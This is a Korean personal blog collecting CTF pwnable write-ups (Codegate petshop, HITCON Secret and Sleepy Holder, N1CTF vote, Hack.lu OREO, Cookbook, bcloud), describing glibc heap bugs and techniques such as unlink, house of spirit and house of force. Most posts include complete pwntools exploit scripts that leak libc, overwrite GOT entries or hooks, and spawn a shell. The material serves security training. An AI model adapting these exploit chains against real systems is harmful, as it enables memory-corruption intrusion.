HanJeouk의 개인공부 블로그

2017 Codegate Final petshop

CTF2018. 3. 27. 01:49

C++ 포너블을 공부하려고 푼 문제다.

Buy 함수를 보면

이렇게 되어 있다. #밑부분도 위에 윗부분과 같기 때문에 생략

Dog_go_input_Data_to_heap_ptr로 가면

또 input_Data_to_heap_ptr이라는 함수가 있다. 또 들어가서 보면

이전에 할당된 청크에 데이터를 넣어준다.

그리고 이렇게 청크를 Dog라는 청크를 할당하고 gdb로 heap 상황을 봤을 때

요로코롬 돼 있다. #gdb로 동적 분석하는 게 훨씬 분석이 쉽고 빠르더라

위에 0x21만큼 할당됐는데 이건 캡쳐는 안했지만 프로그램 시작할 때 할당을 하더라.

그리고 데이터 영역 16바이트에 할당한 청크의 주소를 가리킨다. 16바이트니까 2개까지 animal 추가가 가능하다.

0x616c30 에는 animal 추가한 개수다. 추가할 때마다 1씩 올라간다. 첫 번째 사진을 보면 if 문으로 -1인지 아닌지 확인하는게 보일텐데 간단히 그냥 2개 이상 할당 못하게 하려고 하는 것이다. 0x51의 사이즈를 가진 청크는 추가한 animal 청크다. 0x4027a0은 그냥 할당할 때 추가해주더라

그 뒤에는 아까 넣은 문자열들이다.("Dog", "Bark", "Dog Food") 문자열 다음에는 포인터가 보이는데 저건 나중에 공격 때 쓰이는 name의 포인터다. 저걸 가지고 릭이든 공격이든 전부 다 할 수 있다.

다음으로 Sell 함수를 보면

C++이라 더럽게 생겼지만 그냥 할당했던 청크들 for문 돌려서 free 시키는 것이다.

이제 set_pet을 보자.

input_new_name, input_sound, input_new_feed 가 보인다. 이 함수에서 취약점이 발생한다.

이렇게 제한없이 값을 입력받을 수 있기 때문이다.(name, sound, feed 다 똑같다.)

아까 gdb 모습을 봤듯이 이렇게 값을 원하는 만큼 넣는게 가능해진다면 포인터 조작이 가능하다는 걸 생각할 수 있다.

다음은 list_pet 함수다.

for문으로 청크들의 name, sound, feed, person의 값들을 다 출력해버린다. 그래서 person 포인터를 set함수에서 조작하고 list_pet 함수에서 조작한 person 포인터를 출력시킨다면 우리가 원하는 값을 출력시킬 수 있다.

마지막으로 set_name 함수다.

청크에 있는 person 포인터에 값을 쓴다. 즉, person 포인터를 조작한다면 조작한 주소에 값을 넣을 수 있다는 말이다.

이제 이 함수들을 가지고 릭과 공격을 하면된다.

우선 릭을 하기위해 set함수로 person_name 포인터를 함수의 got 덮고 list 함수로 원하는 함수의 주소를 얻어 그걸로 system등 공격에 필요한 함수의 주소들을 얻었다.

이제 공격을 하면 된다. 공격도 set 함수를 이용했다. person_name의 포인터를 free_hook으로 덮고 setname으로

free_hook에 system 주소를 넣었다. 이제 free를 호출하면 free대신 system이 실행 될 것이다.

sell 함수가 free를 할 때 person_name 포인터도 free 시키길래 또 set으로 person_name 포인터를 /bin/sh로 덮어서 system("/bin/sh")가 실행되게 했다.

문제를 최대한 빨리 푼다는 생각으로 풀어서 약간 풀이가 미흡할 수도 있다 ㅎ...






'CTF' 카테고리의 다른 글

2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14

Secret holder에 이어서 Sleept holder를 다시 풀어보았다. malloc_consolidate를 이용해서 푸는 문제였다.

#fast bin 사이즈를 가진 청크를 free 시키고 large 이상의 사이즈를 할당하면 fast bin에 있던 청크가 unsorted bin으로 들어가게 된다. 그리고 다시 free 시켰던 fastbin을 free시키면 double free corruption이 뜨지않고 free가 된다. 왜냐하면 fast bin에 있던 청크가 unsorted bin으로 갔기 때문이다. 이렇게 두번 free시키면 fast bin에도 unsorted bin에도 청크가 위치하게 된다.

####Unlink####

1. small(size=0x28) 할당 

2. big(size=0xFA0) 할당 

3. small free #small이 fast bin에 등록

4. Huge(size=0x61A80) 할당 #fast bin에 있던 small이 unsorted_bin으로 등록, big의 사이즈에 있던 prev_inuse가 사라진다. 이전 청크가 free됐다고 인식하기 때문이다.

5. 다시 small free #small이 다시 fast bin에 등록됨으로써 small은 unsorted bin과 fast bin 전부 등록된다.

6. small 재할당 with fake chunk

fake chunk structure-> [prev_size=0, size=0x21, fd=0x6020D0(전역변수)-0x18, bk=0x6020D0("")-0x10, next_chunk_prevsize= 0x20]

7. big free #전역변수로 unlink 됨.

8. big 할당 #renew를 사용하기 위해서

####LEAK####

9. renew small을 해서 big을 가리키고 있는 포인터를 free_got로 덮음.

10. renew big으로 free_got에 puts_plt를 넣는다. #이제 free를 실행시키면 puts가 실행된다.

11. renew small로 big을 가리키고 있는 포인터를 puts_got로 바꾼다.

12. wipe big을 한다. #free를 puts로 바꿨고 big을 가리키는 포인터를 puts_got로 조작했으니 puts 함수의 주소가 릭이 될 것이다.

####Exploit####

13. renew small로 puts_got로 바꾼 big 포인터를 다시 free_got로 바꾼다. 그리고 small을 가리키는 포인터에

binsh 주소를 넣는다.

14. renew big을 해서 free_got에 system 함수주소를 넣는다. #puts_plt로 덮였었던 free_got가 이번에는 system으로 덮이게 되는 것이다.

15. wipe small을 한다. small을 가리키는 포인터를 아까 binsh 주소로 바꿨으니 binsh주소를 free시킬 것이다. 근데 아까 free를 system으로 덮었기 때문에 free대신 system이 실행되어서 system("/bin/sh")가 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
p=process("./SleepyHolder")
elf =ELF("./SleepyHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("forever\n",str(size))
        p.sendafter("secret: \n",content)
 
def keep2(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("2. Big secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("2. Big secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
 
sleep(0.5)
#### unlink ####
keep(1,"A")
keep(2,"B")
wipe(1)
keep(3,"c")
wipe(1)
keep2(1,p64(0)+p64(0x21)+p64(0x6020d0-0x18)+p64(0x6020d0-0x10)+p64(0x20))
wipe(2)
#### Leak ####
keep2(2,"D")
renew(1,"A"*8+p64(elf.got["free"]))
renew(2,p64(elf.plt["puts"]))
renew(1,"A"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
#### Exploit ####
renew(1,"a"*8+p64(elf.got["free"])+p64(0)+p64(binsh)+p32(1)+p32(1)+p32(1))
renew(2,p64(system))
wipe(1)
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final building_owner  (0) 2018.03.29
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12

다른 문제들을 풀면서 내가 아직 청크를 컨트롤하는 부분이 많이 미흡하다고 생각했다. 그래서 전에 풀이를 보고 풀었던 Hitcon의 secret holder를 다시 풀어보았다. 물론 풀이를 안보고 풀었다. sleepy_holder까지 풀고 원래 풀던 문제를 다시 잡아야겠다. 처음 풀었던 글에 설명을 썼으니까 여기에는 익스코드만 올려야지 ㅎ.

전에 풀었던 것과 비교해봤는데 릭은 똑같이 했고 이번에는 공격을 free를 system으로 덮어서 풀었다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
= process("./SecretHolder")
elf = ELF("./SecretHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("3. Huge secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("3. Huge secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("3. Huge secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
keep(1,"A"*16)
keep(2,"B"*16)
keep(3,"C"*16)
 
wipe(3)
wipe(2)
wipe(1)
 
 
keep(3,"A"*16)
wipe(1)
 
keep(1,"a"*16)
keep(2,"b"*16)
 
renew(3,p64(0)+p64(0x21)+p64(0x6020b0-0x18)+p64(0x6020b0-0x10)+p64(0x20)+p64(0xfb0))
wipe(2)
keep(2,"c"*8)
renew(1,"A"*8+p64(0x6020a8))
renew(2,p64(elf.got["free"]))
renew(3,p64(elf.plt["puts"]))
 
renew(1,"a"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00"*2)
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
one = base+0xf1145
#0xf1145 0xf02a4 0x4526a 0x45216
print "puts: " + hex(puts)
print "base: " + hex(base)
print "system: " + hex(system)
print "binsh: " + hex(binsh)
print "one_shot: " + hex(one)
 
renew(1,"a"*8+p64(binsh)+p64(elf.got["free"]))
renew(3,p64(system))
wipe(2)
p.interactive()
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
2014 Hack.lu CTF OREO  (0) 2018.03.06

2017 hitcon training zoo

CTF2018. 3. 14. 14:55

C++ 문제를 한번도 풀어본 적이 없어서 경험삼아 이 문제를 풀어보았다. training이라서 C++ 코드를 줬다.

NX가 꺼져있어서 쉘코드를 사용할 수 있었다.

취약점은 받은 값을 strcpy를 이용해서 복사하기 때문에 overflow가 발생한다. 그래서 다른 청크의 가상함수 포인터를 가리키는 주소를 쉘코드가 있는 주소로 바꿔서 쉘을 딸 수 있었다. 쉘코드는 전역변수에다가 넣어서 따로 주소를 구할 필요도 없었다.

가상함수 포인터가 이중이라서 두번 가리켜줘야 한다.


'CTF' 카테고리의 다른 글

2016 Hitcon sleepy holder [Again]  (0) 2018.03.22
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2018 N1CTF vote  (0) 2018.03.12
2014 Hack.lu CTF OREO  (0) 2018.03.06
TRUSTEALTH CTF sohard  (0) 2018.03.02

2018 N1CTF vote

CTF2018. 3. 12. 16:10

이런 문제는 정말 처음봤다. 

밑에 왼쪽 사진은 fastbin_dup을 하려고 사이즈가 50인 청크 2개를 할당하고 그 두개를 free했을 때의 힙 상황이다.

이제 다시 0을 free하면 원래는 정상적으로 free가 되어야 하는데 오른쪽 사진을 보면 병합이 된 걸 확인할 수 있다.

그래서 내가 직접 large 사이즈의 청크를 만들어서 다른 free된 청크들을 조작하여 문제를 풀어야겠다고 생각했다.

이 문제에서는 전역변수에 있는 청크포인터를 초기화하지 않기 때문에 가능했다.

4개를 할당하고 free를 하면서 heap과 함수 주소들을 전부 구한 다음에 전부 free시키면 large 사이즈의 청크를 만든다.

이 사진과 같이 나는 0x500을 할당하고 bbbbbbbb이라는 값을 넣어줬다. 보기용으로 bbbbbbbb를 넣었지만 이걸로 이제 다른 청크를 덮을 수 있게된다. 

그렇게 0xbd7080 주소에 있었던 fastbin 청크를 값을 조작하여 일반 fastbin 청크처럼 만들었다.

그리고 free를 시키면 이 청크는 fastbin에 등록이 될 것이다.

이제 내가 원하는 함수의 주소 사이즈에 맞춰 구한다음에 0xbd7080 청크의 fd에 넣으면 된다.

원하는 함수 주소 사이즈는 맞췄다고 가정하고 이제 free된 청크의 fd에 값을 넣어야 되는데 이 문제에는 edit같은 기능이 없다.

그래서 아까 할당했던 0x500 사이즈인 청크를 free시켜서 small bin으로 다시 할당해서 값을 조작하기로 했다.

small bin의 사이즈는 대충 0xbd7080의 청크를 덮을 수 있을 만큼이면 된다.

그렇게 fd의 값을 조작한 후에 2번 할당하면 쉘이 따진다. ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
= remote('47.97.190.1',6000)
def create(size,name):
        p.sendlineafter("Action: ","0")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("name: ",name)
 
def show(idx):
        p.sendlineafter("Action: ","1")
        p.sendlineafter(": ",str(idx))
 
def vote(idx):
        p.sendlineafter("Action: ","2")
        p.sendlineafter(": ",str(idx))
 
def result():
        p.sendlineafter("Action: ","3")
 
def cancel(idx):
        p.sendlineafter("Action: ","4")
        p.sendlineafter(": ",str(idx))
 
 
create(80,"A"*4)
create(80,"B"*4)
create(256,"D"*4)
create(256,"E"*4)
cancel(0)
cancel(1)
show(1)
p.recvuntil("count: ")
heap = int(p.recv(8),10)
print hex(heap)
cancel(2)
show(2)
p.recvuntil("count: ")
leak = int(p.recv(15),10)
base = leak-0x3c4b78
one = base + 0xf1117 #0xf0274 0x4526a 0x45216
size = base+0x3c4af5-0x8
malloc_hook = base+0x3c4b10
print "Heap: " +hex(heap)
print "Leak: " + hex(leak)
print "Base: " + hex(base)
print "one_shot: " + hex(one)
print "Size: " + hex(size)
print "malloc_hook: " + hex(malloc_hook)
cancel(3)
create(0x500,"E"*80+p64(0)+p64(0x71)+p64(0))
 
cancel(1#fake_chunk free
cancel(0)
create(256,"E"*80+p64(0)+p64(0x71)+p64(size))
create(78,"A"#size+16(create)+16(header)
create(78,"B"*3+p64(one))
p.sendlineafter("Action: ","0")
p.sendlineafter("size: ","50")
p.sendline("cat flag")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2014 Hack.lu CTF OREO  (0) 2018.03.06
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02

2014 Hack.lu CTF OREO

CTF2018. 3. 6. 20:05

House of spirit을 공부하고 푸는 두 번째 문제다.

전역변수들을 보면 이런 구조로 되어있다. 

취약점은 가까운 곳에서 발생하는데 바로 Add new rifle 함수에서 발생한다.

보면 56만큼 할당하는데 rifle_name에 값을 받을 때 rifle_ptr+25부터 받아서 오버플로우가 발생한다.. 그리고 52번째부터 4바이트를 이전 청크의 데이터 영역의 주소를 넣어준다. 넣어준 주소는 나중에 free할 때 반복문을 돌려서 한 번에 free시키기 위함이다.

이렇게!

그래서 이 주소를 조작하면 다른 곳을 free 시킬 수 있을 것이다.

그리고 leave message 함수를 보자.

일단 order_content_ptr안에는 content의 주소가 있어서 값을 입력받으면 content의 주소로 값이 들어가고 그걸 order_count_ptr로 가리키는 식으로 되어있다.

나머지는 출력함수다 여기서 order message를 출력할 때 포인터로 printf한다는 것을 주의깊게 봐야한다.

1. bss

2. heap

위에 두 사진은 add("AAAA","BBBB"),add("CCCC","DDDD"),leave_message("EEEEEEEEEEEEE")를 해줬을 때의 전역변수와 힙의 상황이다.

릭을 어디서 할 수 있을까? 고민하다가 order_content_ptr 주소를 함수의 got로 바꾸면 나중에 order message를 했을 때 함수의 주소를 릭할 수 있을 거라고 생각을 했다. 그럴려면 bss영역에 값을 입력할 수 있어야 한다. 그래서 house of sprit을 하기위해 전역변수중에서 사이즈로 쓸만한 것을 찾다가 마음대로 설정할 수 있는 rifle_count를 조작하기로 했다.(00000002로 나와있는 부분) 그래서 청크의 개수를 0x41로 설정했다. 그러면 이제 0x41-0x8(chunk_header)-0x1(prev_inuse) = 0x38(56)만큼 값을 넣은 다음에 next_chunk의 사이즈를 설정해줘야하는데 그 부분은 leave_message의 content영역이기 때문에 leave_message함수에서 설정할 수 있다. 이제 힙을 조작해야 한다. 왜냐하면 우리가 원하는 곳에 free를 시켜야 하기 때문이다. 그래서 0x40개를 할당하고 0x41번째를 할당할 때 name에서 값을 넣어서 원래 있던 이전 청크의 주소를 전역변수 주소로 바꾼다. #사진으로 보면 0x9dd348c에 있는 주소를 0x804a2a8로 바꾼다는 말이다.  

이제 order 함수로 free 시키고 다시 할당을 하면 bss에 할당이 될 것이다.

order을 하고 add("E",puts_got)를 덮었을 때의 전역변수 상황이다.

order_content_ptr이 가리키고 있는 포인터가 puts_got로 덮어진 걸 확인할 수 있다.

아까 그래서 show stat을 하면 order_content_ptr이 puts_got로 덮여졌기 때문에 puts의 주소가 나올 것이다.

이제 base를 구하고 내가 원하는 함수의 주소를 구할 수 있을 것이다.

나는 one_shot으로 문제를 풀려고 one_shot 주소를 구했다.

이제 공격만 하면 되는데 공격은 정말 쉽다. leave_message를 할 때 order_content_ptr로 하기 때문에 그냥 leave_message 함수에 들어가서 내용에 one_shot을 넣어주면 된다. 그러면 puts_got에 one_shot이 덮힌 꼴로 되어서 쉘이 따진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
= process("./oreo")
elf = ELF("./oreo")
rifle_ptr = 0x804a288
fake_chunk_data = rifle_ptr+0x20
def add(name,des):
        p.sendline("1")
        p.sendline(name)
        p.sendline(des)
 
def show_rifle():
        p.sendline("2")
 
def order():
        p.sendline("3")
 
def leave(content):
        p.sendline("4")
        p.sendline(content)
def show_stat():
        p.sendline("5")
 
print p.recv(1024)
for i in range(0x40):
        add("A"*4,"B"*4)
add("a"*27+p32(fake_chunk_data),"c"*4)
leave(p32(0)*9+p32(0x1000))
order()
add("E",p32(elf.got["puts"]))
p.sendline("5")
p.recvuntil("Message: ")
 
puts= u32(p.recv(4))
base = puts - 0x5fca0
one = base + 0x5fbc5 #0x5fbc5 #0x3ac69 #0x3ac62 #0x3ac52 #0x3ac5c
print "Puts: " + hex(puts)
print "Base: " + hex(base)
p.sendline("4")
p.sendline(p32(one))
p.sendline("5")
p.interactive()
cs

'CTF' 카테고리의 다른 글

2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
2016 Boston Key Party CTF Cookbook  (0) 2018.02.27

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

취약점은 Create recipe 부분에서 할당하면 전역변수를 0으로 초기화하지 않기 때문에 UAF 가 가능하다. 그리고 Create recipe의 print current recipe를 보면 a1+124를 출력하는데 이것들을 이용해서 힙 주소나 base주소 등등 전부 구할 수 있었다. 그리고 Create recipe의 include instructions 함수에서 fgets로 값을 받는데 값을 +140 부터 받아서 탑 청크를 덮을 수 있게 된다. 또 give cookbook a name 함수에서 사이즈를 자기가 원하는 만큼 받을 수 있기 때문에  이 취약점들로 house of force 공격을 할 수 있다. 

공격 순서는 

heap_address & system_address Leak -> Top_chunk size change(\xff\xff\xff\xff) -> Attack순으로 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// input your code herefrom pwn import*
= process("./cookbook")
elf = ELF("./cookbook")
def leak(add):
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","n")
        p.sendlineafter("uit\n","d")
        p.sendlineafter("uit\n","q")
        p.sendlineafter("uit\n","g")
        p.sendlineafter(": ","300")
        p.sendline("\x00"*124+p32(add))
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","p")
 
p.sendlineafter("?","/bin/sh")
 
leak(0x0804d03c#libc_start_main
p.recvuntil("type: ")
libc_start = u32(p.recv(4))
base = libc_start-0x18540
system = base+0x3ada0
one_shot = base + 0x5fbc6
 
leak(0x0804d0a0#0x0804d0a0 recipe_ptr
p.recvuntil("type: ")
heap = u32(p.recv(4))
top_add =heap+0x304
size = elf.got["free"- 0x8-top_add-0x414
 
print "libc_start_main: " + hex(libc_start)
print "base: " + hex(base)
print "heap: " + hex(heap)
print "Top_chunk: " + hex(top_add)
print "size: " + hex(size)
 
p.sendlineafter("uit\n","n")
p.sendlineafter("uit\n","g")
p.sendline("a"*0x380+"\xff\xff\xff\xff")
p.sendlineafter("uit\n","q")
p.sendlineafter("uit\n","g")
p.sendline(hex(size))
 
p.sendlineafter("uit\n","g")
p.sendlineafter(": ","5")
p.sendline(p32(system))
p.interactive()
~                    
cs

문제는 그렇게 어렵지 않았지만 문제에서 값을 넣는데 malloc로 할당해서 그걸로 값을 넣고 또 free하고 막 전역변수 여러개로 청크 관리하는 걸 보고 분석하다가 머리가 멈춰버렸다. ㅎ 그래서 풀이를 이해하고 풀었다...

이 문제를 풀면서 함수 전부를 분석해야하지만 그 중에서 중요한 부분을 잘 잡아내서 분석하는 것도 중요하다는 것을 깨달았다.

또 평소에 분석하다가 헷갈리면 gdb로 같이 값 들어가는거 보면서 했는데 앞으로는 정적 분석 실력 향상을 위해 최대한 정적으로만 분석해야지.

'CTF' 카테고리의 다른 글

TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04

Bctf_2016 bcloud

CTF2018. 2. 21. 21:09

house of force 이론을 공부하고 이 기법을 사용하는 문제인 bcloud를 풀어보았다.

맨 처음에 name을 받는데 여기서 원래 사이즈보다 많이 받을 수 있다. 그래서 다음 변수인 org인 host를 덮는 게 가능해지고 심지어 탑 청크까지도 덮는게 가능해진다.


이런식으로 페이로드를 보냈을 때 이렇게 나온다. 그러면 name을 출력해줄때 힙 주소도 같이 출력될 것이다.

이제 탑 청크 사이즈를 조작했으니까 내가 원하는 곳에 할당하는 것이 가능해진다 ㅎ

나는 atoi_got에 printf_plt를 덮어서 포맷스트링 버그가 가능하게할 것이다.

근데 원래는 사이즈를 구해주기 위해 atoi_got - 0x8 - top_chunk를 해줘야 하는데  안되길래 gdb를 보면서 사이즈를 조절해야만 했다. 아니면 segfault 뜸;; 그래서 난 0xc를 또 빼줬다. 

그 결과 내가 2번째 청크의 데이터를 이용하여 atoi_got에 printf_plt 덮는데 성공했다.

이제 메뉴를 고를 때마다 출력을 해줄 것이다. 그리고 이제 포맷스트링 버그가 가능해진다.

포맷스트링으로 main의 ret를 릭하고 그걸로 시스템 주소를 구했다. 이제 atoi함수를 system으로 덮고 /bin/sh를 넣어주면 된다. 

edit 함수를 쓰면 할 수 있는데 printf함수의 반환값이 글자 수라서 3을 입력하려면 333이렇게 입력해야 한다.

그렇게 edit 기능으로 들어가서 수행하고 /bin/sh를 입력하면?

쉘이 따졌다 ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ 포맷스트링 버그로 릭을 할 때 라이트업을 보고 했는데 

%p 하나만 했을 때는 거리가 %p를 34번 정도는 넣어줘야 할 것 같았는데 31번만 하고 릭하는 것을 보고 이해가 안갔다.

그래도 원래의도는 house of force 응용이니까 목적은 달성했다 ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
= process("./bcloud")
elf = ELF("./bcloud")
atoi_got = elf.got["atoi"]
puts_got = elf.got["puts"]
printf_plt = elf.plt["printf"]
def start(name,org,host):
        print p.recv(1024)
        p.sendline(name)
        print p.recv(1024)
        p.sendline(org)
        p.sendlineafter(":\n",host)
 
def new(size,content):
        p.sendlineafter(">\n","1")
        p.sendlineafter(":\n",str(size))
        p.sendlineafter(":\n",str(content))
 
def edit(idx,content):
        p.sendlineafter(">\n","3")
        p.sendlineafter(":\n",str(idx))
        p.sendlineafter(":\n",str(content))
 
def delete(idx):
        p.sendlineafter(">\n","4")
        p.sendlineafter(":\n",str(idx))
 
def syn():
        p.sendlineafter(">\n","5")
 
print p.recv(1024)
p.sendline("A"*63+"B"+"C"*64+"\xff\xff\xff\xff")
p.recvuntil("B")
heap = u32(p.recv(4))-8
top_chunk = heap+0xdc
print "heap: " + hex(heap)
print "TOP_chunk: " + hex(top_chunk)
 
size = atoi_got - 0x8 - top_chunk -0xc #-0x10
p.sendlineafter(">>\n","1")
p.sendline(str(size))
new(8,"AAAA"+p32(printf_plt))
print p.recv(1024)
p.sendline("%31$p")
leak = int(p.recv(10),16)
base = leak - int(0x18637)
system = base+0x3ada0
print "LEAK: " + hex(leak)
print "base: " + hex(base)
print "system: " + hex(system)
print p.sendlineafter(">>\n","333"#printf return  atoi return
print p.sendlineafter(":\n","1")
print p.sendlineafter(":\n","aaaa"+p32(system))
p.sendline("/bin/sh\x00")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

TRUSTEALTH CTF sysrop  (0) 2018.03.02
2016 Boston Key Party CTF Cookbook  (0) 2018.02.27
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04